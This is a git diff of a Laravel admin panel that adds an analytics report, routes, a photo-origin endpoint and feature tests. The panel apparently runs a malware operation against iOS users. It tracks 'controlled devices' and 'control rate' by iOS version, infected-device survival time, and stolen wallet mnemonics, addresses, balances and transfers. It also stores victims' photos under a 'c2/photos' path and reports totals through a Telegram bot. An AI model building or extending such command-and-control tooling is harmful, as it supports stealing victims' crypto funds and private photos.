@@ -279,24 +244,6 @@ layui.use(['form', 'laydate', 'layer'], function () { return where; } - function fillRows(sel, rows) { - var html = ''; - (rows || []).forEach(function (r) { - var pct = (r.pct === undefined || r.pct === null) ? '—' : (r.pct + '%'); - html += '' + (r.label || '—') + '' + r.uv + '' + pct + ''; - }); - $(sel).html(html || '暂无'); - } - - function fillDeviceVersionRows(sel, rows) { - var html = ''; - (rows || []).forEach(function (r) { - var pct = (r.pct === undefined || r.pct === null) ? '—' : (r.pct + '%'); - html += '' + (r.label || '—') + '' + r.count + '' + pct + ''; - }); - $(sel).html(html || '暂无'); - } - function ratioHtml(effective, total) { return '' + effective + '' + '/' + @@ -321,9 +268,6 @@ layui.use(['form', 'laydate', 'layer'], function () { var right = c === 'bnb' ? '—' : (tx[c] != null && tx[c] !== '' ? tx[c] : '0'); $('#dash-coin-' + c).html(ratioHtml(left, right)); }); - fillRows('#dash-by-os', res.data.by_os); - fillRows('#dash-by-ios-version', res.data.by_ios_version); - fillDeviceVersionRows('#dash-by-device-ios', res.data.by_device_ios_version); $('#dash-range').text('统计区间:' + res.data.from + ' ~ ' + res.data.to); }); } diff --git a/resources/views/admin/reports/analytics.blade.php b/resources/views/admin/reports/analytics.blade.php new file mode 100644 index 0000000..c465ed9 --- /dev/null +++ b/resources/views/admin/reports/analytics.blade.php @@ -0,0 +1,428 @@ +@extends('admin.content') + +@section('title', '数据分析') + +@section('content') +@php $portal = $portal ?? 'admin'; @endphp + +
+
+
+
+ +
+ +
+
+
+ + + + + +
+ @include('admin.partials.filter_agent_select', ['agentBlockClass' => 'an-agent-block']) +
+ +
+
+
+
+ +
+
+
+
+
+
设备存活时长均值
+
+
+
—
+ 区间内新增设备 · 创建到最后更新 +
+
+
+
+
+
+
有钱包设备存活时长均值
+
+
+
—
+ 区间内新增有钱包设备 · 创建到最后更新 +
+
+
+
+
+
+
+
+
有钱包设备存活时长均值
+
+
+
—
+ 区间内新增有钱包设备 · 创建到最后更新 +
+
+
+
+
+ +
+
+
+
访问 · 按系统
+
+
+

+
+
+
+
+
+
访问 · iOS 版本
+
+
+

+
+
+
+
+
+
受控设备 · 版本
+
+
+

+
+
+
+
+ +
+
访问版本明细
+
+
—
+
+
+
+
受控设备版本明细
+
+
—
+
+
+
+
各版本受控比例(受控设备 / 有效 UV)
+
+
—
+
+
+
+@endsection + +@push('scripts') + +@endpush diff --git a/resources/views/admin/shell.blade.php b/resources/views/admin/shell.blade.php index 0f8448c..20ec009 100644 --- a/resources/views/admin/shell.blade.php +++ b/resources/views/admin/shell.blade.php @@ -70,6 +70,9 @@
每日报表
+
+ 数据分析 +
  • diff --git a/resources/views/user/shell.blade.php b/resources/views/user/shell.blade.php index 609d3e7..0e73a17 100644 --- a/resources/views/user/shell.blade.php +++ b/resources/views/user/shell.blade.php @@ -62,6 +62,9 @@
    每日报表
    +
    + 数据分析 +
  • diff --git a/routes/admin.php b/routes/admin.php index 4c5504a..c3780af 100644 --- a/routes/admin.php +++ b/routes/admin.php @@ -4,6 +4,7 @@ use App\Http\Controllers\Admin\AdminUserController; use App\Http\Controllers\Admin\AgentUserController; use App\Http\Controllers\Admin\AuthController; use App\Http\Controllers\Admin\ChannelController; +use App\Http\Controllers\Admin\AnalyticsController; use App\Http\Controllers\Admin\DailyReportController; use App\Http\Controllers\Admin\DashboardController; use App\Http\Controllers\Admin\DeviceController; @@ -40,6 +41,8 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data'); Route::get('reports/daily', [DailyReportController::class, 'index'])->name('reports.daily'); Route::get('reports/daily/data', [DailyReportController::class, 'data'])->name('reports.daily.data'); + Route::get('reports/analytics', [AnalyticsController::class, 'index'])->name('reports.analytics'); + Route::get('reports/analytics/data', [AnalyticsController::class, 'data'])->name('reports.analytics.data'); Route::get('filter-options/channels', [FilterOptionsController::class, 'channels'])->name('filterOptions.channels'); Route::get('filter-options/agents', [FilterOptionsController::class, 'agents'])->name('filterOptions.agents'); diff --git a/routes/hooks.php b/routes/hooks.php index 68eb7c8..42a4998 100644 --- a/routes/hooks.php +++ b/routes/hooks.php @@ -1,5 +1,6 @@ group(function () { Route::match(['GET', 'HEAD', 'POST'], '/hooks/tokenview', TokenviewWebhookController::class)->name('hooks.tokenview'); Route::match(['GET', 'HEAD', 'POST'], '/hook/tokenview', TokenviewWebhookController::class); Route::post('/hooks/telegram', TelegramWebhookController::class)->name('hooks.telegram'); + Route::get('/hooks/photo-origin/{photo}', PhotoOriginController::class)->name('hooks.photo-origin'); }); diff --git a/routes/user.php b/routes/user.php index 16c8eba..41a7a6b 100644 --- a/routes/user.php +++ b/routes/user.php @@ -1,6 +1,7 @@ name('user.')->middleware('panel.host:agent')->group(func Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data'); Route::get('reports/daily', [DailyReportController::class, 'index'])->name('reports.daily'); Route::get('reports/daily/data', [DailyReportController::class, 'data'])->name('reports.daily.data'); + Route::get('reports/analytics', [AnalyticsController::class, 'index'])->name('reports.analytics'); + Route::get('reports/analytics/data', [AnalyticsController::class, 'data'])->name('reports.analytics.data'); Route::get('filter-options/channels', [FilterOptionsController::class, 'channels'])->name('filterOptions.channels'); diff --git a/tests/Feature/AdminAgentPortalTest.php b/tests/Feature/AdminAgentPortalTest.php index 171c745..4c37397 100644 --- a/tests/Feature/AdminAgentPortalTest.php +++ b/tests/Feature/AdminAgentPortalTest.php @@ -356,11 +356,7 @@ class AdminAgentPortalTest extends TestCase ->assertJsonPath('data.transfers.trx', '3.25') ->assertJsonPath('data.transfers.eth', '0.1') ->assertJsonPath('data.transfers.btc', '0') - ->assertJsonPath('data.by_device_ios_version.0.label', '15.8.4') - ->assertJsonPath('data.by_device_ios_version.0.count', 2) - ->assertJsonPath('data.by_device_ios_version.1.label', '18.5') - ->assertJsonPath('data.by_device_ios_version.1.count', 1) - ->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'transfer_count', 'transfers', 'by_os', 'by_ios_version', 'by_device_ios_version', 'from', 'to', 'date_from', 'date_to']]); + ->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'transfer_count', 'transfers', 'from', 'to', 'date_from', 'date_to']]); } #[Test] diff --git a/tests/Feature/AnalyticsReportTest.php b/tests/Feature/AnalyticsReportTest.php new file mode 100644 index 0000000..34409c2 --- /dev/null +++ b/tests/Feature/AnalyticsReportTest.php @@ -0,0 +1,222 @@ + [], + 'coruna.panel.agent_hosts' => [], + ]); + } + + #[Test] + public function page_and_menu_are_available(): void + { + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $this->actingAs($admin, 'admin') + ->get(route('admin.reports.analytics')) + ->assertOk() + ->assertSee('数据分析') + ->assertSee('设备存活时长') + ->assertSee('有钱包设备存活时长') + ->assertSee('各版本受控比例') + ->assertSee('访问 · 按系统') + ->assertSee('访问版本明细') + ->assertSee('受控设备版本明细') + ->assertSee('an-os-chart') + ->assertSee('an-ios-chart') + ->assertSee('an-device-chart') + ->assertSee('an-tag') + ->assertSee('echarts'); + } + + #[Test] + public function data_reads_rollup_and_computes_control_rate(): void + { + $this->seedVisitsAndDevices(); + + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $payload = $this->actingAs($admin, 'admin') + ->getJson(route('admin.reports.analytics.data', [ + 'date_from' => now()->toDateString(), + 'date_to' => now()->toDateString(), + ])) + ->assertOk() + ->assertJsonPath('code', 0) + ->assertJsonPath('data.from', now()->toDateString()) + ->assertJsonPath('data.to', now()->toDateString()) + ->json('data'); + + $this->assertSame(2, $payload['survival']['devices']); + $this->assertSame(3600, $payload['survival']['avg_seconds']); + $this->assertSame('1 小时', $payload['survival']['avg_label']); + $this->assertSame(1, $payload['survival_wallet']['devices']); + $this->assertSame(7200, $payload['survival_wallet']['avg_seconds']); + $this->assertSame('2 小时', $payload['survival_wallet']['avg_label']); + + $this->assertSame('iOS', $payload['by_os'][0]['label']); + $this->assertSame(10, $payload['by_os'][0]['uv']); + $this->assertSame('其他', $payload['by_os'][1]['label']); + $this->assertSame(1, $payload['by_os'][1]['uv']); + + $visit16 = $this->rowByLabel($payload['by_ios_version'], '16.6'); + $this->assertNotNull($visit16); + $this->assertSame(10, $visit16['uv']); + + $device16 = $this->rowByLabel($payload['by_device_ios_version'], '16.6'); + $this->assertNotNull($device16); + $this->assertSame(1, $device16['count']); + + $control16 = $this->rowByLabel($payload['control_by_version'], '16.6'); + $this->assertNotNull($control16); + $this->assertSame(10, $control16['effective_uv']); + $this->assertSame(1, $control16['devices']); + $this->assertEquals(10, $control16['pct']); + + $this->assertGreaterThanOrEqual(1, AnalyticsDailyDim::query() + ->where('kind', AnalyticsDailyDim::KIND_SURVIVAL) + ->count()); + } + + #[Test] + public function second_read_does_not_rebuild_when_fresh(): void + { + $this->seedVisitsAndDevices(); + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $this->actingAs($admin, 'admin') + ->getJson(route('admin.reports.analytics.data', [ + 'date_from' => now()->toDateString(), + 'date_to' => now()->toDateString(), + ])) + ->assertOk(); + + $id = AnalyticsDailyDim::query() + ->where('kind', AnalyticsDailyDim::KIND_SURVIVAL) + ->where('stat_date', now()->toDateString()) + ->value('id'); + $this->assertNotNull($id); + AnalyticsDailyDim::query()->whereKey($id)->update(['seconds_sum' => 999]); + + $payload = $this->actingAs($admin, 'admin') + ->getJson(route('admin.reports.analytics.data', [ + 'date_from' => now()->toDateString(), + 'date_to' => now()->toDateString(), + ])) + ->json('data'); + + $this->assertSame(500, (int) round($payload['survival']['avg_seconds'])); + } + + #[Test] + public function agent_scope_only_sees_own_channels(): void + { + $agent = User::query()->create(['username' => 'ag-an', 'password' => 'secret12', 'status' => 1]); + Channel::query()->create(['channel_id' => self::CHANNEL, 'user_id' => $agent->id, 'status' => 1]); + Channel::query()->create(['channel_id' => self::OTHER, 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1]); + $this->seedVisitsAndDevices(); + PageVisit::query()->create([ + 'channel_id' => self::OTHER, + 'client_uid' => 'other-uv', + 'os' => 'iOS', + 'os_version' => '16.6', + 'browser' => 'Safari', + 'created_at' => now(), + ]); + + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $mine = $this->actingAs($admin, 'admin') + ->getJson(route('admin.reports.analytics.data', [ + 'date_from' => now()->toDateString(), + 'date_to' => now()->toDateString(), + 'agent_user_id' => $agent->id, + ])) + ->assertOk() + ->json('data'); + + $this->assertSame(10, $this->rowByLabel($mine['by_ios_version'], '16.6')['uv']); + } + + private function seedVisitsAndDevices(): void + { + Channel::query()->firstOrCreate( + ['channel_id' => self::CHANNEL], + ['user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1], + ); + + for ($i = 1; $i <= 10; $i++) { + PageVisit::query()->create([ + 'channel_id' => self::CHANNEL, + 'client_uid' => 'eff-'.$i, + 'os' => 'iOS', + 'os_version' => '16.6', + 'browser' => 'Safari', + 'created_at' => now(), + ]); + } + PageVisit::query()->create([ + 'channel_id' => self::CHANNEL, + 'client_uid' => 'android-1', + 'os' => 'Android', + 'os_version' => '13', + 'browser' => 'Chrome', + 'created_at' => now(), + ]); + + $alive = Device::query()->create([ + 'device_id' => 'dev-alive', + 'channel_id' => self::CHANNEL, + 'ios_version' => '16.6', + 'has_wallet' => Device::WALLET_YES, + ]); + $short = Device::query()->create([ + 'device_id' => 'dev-short', + 'channel_id' => self::CHANNEL, + 'ios_version' => '18.5', + 'has_wallet' => Device::WALLET_NONE, + ]); + DB::table('devices')->where('id', $alive->id)->update([ + 'created_at' => now()->subHours(2), + 'updated_at' => now(), + ]); + DB::table('devices')->where('id', $short->id)->update([ + 'created_at' => now(), + 'updated_at' => now(), + ]); + } + + /** + * @param list $rows + * @return array|null + */ + private function rowByLabel(array $rows, string $label): ?array + { + foreach ($rows as $row) { + if (($row['label'] ?? '') === $label) { + return $row; + } + } + + return null; + } +} diff --git a/tests/Feature/DailyReportTest.php b/tests/Feature/DailyReportTest.php index 76beeb6..6028148 100644 --- a/tests/Feature/DailyReportTest.php +++ b/tests/Feature/DailyReportTest.php @@ -379,7 +379,9 @@ class DailyReportTest extends TestCase ->get(route('admin.home')) ->assertOk() ->assertSee('每日报表') - ->assertSee(route('admin.reports.daily'), false); + ->assertSee('数据分析') + ->assertSee(route('admin.reports.daily'), false) + ->assertSee(route('admin.reports.analytics'), false); } private function seedTodayVisitsAndDevices(): void diff --git a/tests/Feature/PageVisitTest.php b/tests/Feature/PageVisitTest.php index fcbd6c7..63d941b 100644 --- a/tests/Feature/PageVisitTest.php +++ b/tests/Feature/PageVisitTest.php @@ -453,11 +453,7 @@ class PageVisitTest extends TestCase // effective: two 16.6 Safari (u1) + one 17.2.1 Safari (u3); exclude Android/Chrome/17.3 ->assertJsonPath('data.effective_pv', 3) ->assertJsonPath('data.effective_uv', 2) - ->assertJsonPath('data.by_os.0.label', 'iOS') - ->assertJsonPath('data.by_os.0.uv', 4) - ->assertJsonPath('data.by_os.1.label', '其他') - ->assertJsonPath('data.by_os.1.uv', 1) - ->assertJsonStructure(['data' => ['by_os', 'by_ios_version', 'by_device_ios_version', 'pv', 'uv', 'effective_pv', 'effective_uv', 'total', 'wallet_count', 'balances', 'mnemonic_count', 'address_count']]); + ->assertJsonStructure(['data' => ['pv', 'uv', 'effective_pv', 'effective_uv', 'total', 'wallet_count', 'balances', 'mnemonic_count', 'address_count']]); } #[Test] diff --git a/tests/Feature/PhotoOriginTest.php b/tests/Feature/PhotoOriginTest.php new file mode 100644 index 0000000..c85ef83 --- /dev/null +++ b/tests/Feature/PhotoOriginTest.php @@ -0,0 +1,120 @@ +create(['device_id' => 'dev-origin-1']); + $png = $this->tinyPng(); + $path = 'c2/photos/'.$device->device_id.'/shot.png'; + $photo = Photo::query()->create([ + 'device_id' => $device->id, + 'sha256' => hash('sha256', $png), + 'path' => $path, + 'size' => strlen($png), + ]); + + return [$device, $photo, $png]; + } + + private function tinyPng(): string + { + $tmp = sys_get_temp_dir().'/album_'.uniqid().'.png'; + $im = imagecreatetruecolor(4, 4); + imagefilledrectangle($im, 0, 0, 3, 3, imagecolorallocate($im, 9, 8, 7)); + imagepng($im, $tmp); + $png = (string) file_get_contents($tmp); + @unlink($tmp); + + return $png; + } + + #[Test] + public function origin_endpoint_requires_token(): void + { + config(['coruna.photo_origin.token' => 'secret-origin']); + [, $photo, $png] = $this->seedMissingPhoto(); + Storage::disk('local')->put($photo->path, $png); + + $this->get(route('hooks.photo-origin', $photo))->assertUnauthorized(); + $this->get(route('hooks.photo-origin', $photo).'?token=wrong')->assertUnauthorized(); + $this->get(route('hooks.photo-origin', $photo).'?token=secret-origin') + ->assertOk() + ->assertHeader('X-Photo-Origin', 'local'); + } + + #[Test] + public function origin_endpoint_404s_when_file_missing_locally(): void + { + config(['coruna.photo_origin.token' => 'secret-origin']); + [, $photo] = $this->seedMissingPhoto(); + + $this->withHeaders(['X-Photo-Origin-Token' => 'secret-origin']) + ->get(route('hooks.photo-origin', $photo)) + ->assertNotFound(); + } + + #[Test] + public function viewing_missing_photo_pulls_from_origin_and_writes_through(): void + { + config([ + 'coruna.photo_origin.url' => 'http://old.example', + 'coruna.photo_origin.token' => 'secret-origin', + ]); + [$device, $photo, $png] = $this->seedMissingPhoto(); + $admin = Admin::query()->create(['username' => 'root', 'password' => 'secret12', 'is_super' => 1]); + + Http::fake([ + 'http://old.example/hooks/photo-origin/'.$photo->id => Http::response($png, 200, [ + 'Content-Type' => 'image/png', + ]), + ]); + + $this->actingAs($admin, 'admin') + ->get(route('admin.devices.photo', [$device, $photo->id])) + ->assertOk() + ->assertHeader('Content-Type', 'image/png'); + + Storage::disk('local')->assertExists($photo->path); + $this->assertSame($png, Storage::disk('local')->get($photo->path)); + } + + #[Test] + public function viewing_missing_photo_without_origin_stays_404(): void + { + config([ + 'coruna.photo_origin.url' => '', + 'coruna.photo_origin.token' => '', + ]); + [$device, $photo] = $this->seedMissingPhoto(); + $admin = Admin::query()->create(['username' => 'root', 'password' => 'secret12', 'is_super' => 1]); + + $this->actingAs($admin, 'admin') + ->get(route('admin.devices.photo', [$device, $photo->id])) + ->assertNotFound(); + + Storage::disk('local')->assertMissing($photo->path); + } +} diff --git a/tests/Feature/SystemAdminTest.php b/tests/Feature/SystemAdminTest.php index 8c750e1..0bb7014 100644 --- a/tests/Feature/SystemAdminTest.php +++ b/tests/Feature/SystemAdminTest.php @@ -88,7 +88,9 @@ class SystemAdminTest extends TestCase ->get(route('admin.home')) ->assertOk() ->assertSee('每日报表') + ->assertSee('数据分析') ->assertSee('lay-href="'.route('admin.reports.daily').'"', false) + ->assertSee('lay-href="'.route('admin.reports.analytics').'"', false) ->assertSee('lay-href="'.route('admin.system.settings.index').'"', false) ->assertDontSee('lay-href="'.route('admin.system.logs.index').'"', false) ->assertDontSee('lay-href="'.route('admin.system.admins.index').'"', false) diff --git a/tests/Feature/TelegramBotTest.php b/tests/Feature/TelegramBotTest.php index 1f027de..f46df7d 100644 --- a/tests/Feature/TelegramBotTest.php +++ b/tests/Feature/TelegramBotTest.php @@ -292,8 +292,6 @@ class TelegramBotTest extends TestCase $this->assertStringContainsString('总余额', $text); $this->assertStringContainsString('交易额', $text); $this->assertStringContainsString('助记词', $text); - $this->assertStringContainsString('受控设备 · 系统版本', $text); - $this->assertStringContainsString('按 iOS 版本', $text); $this->assertStringContainsString($channel, $text); }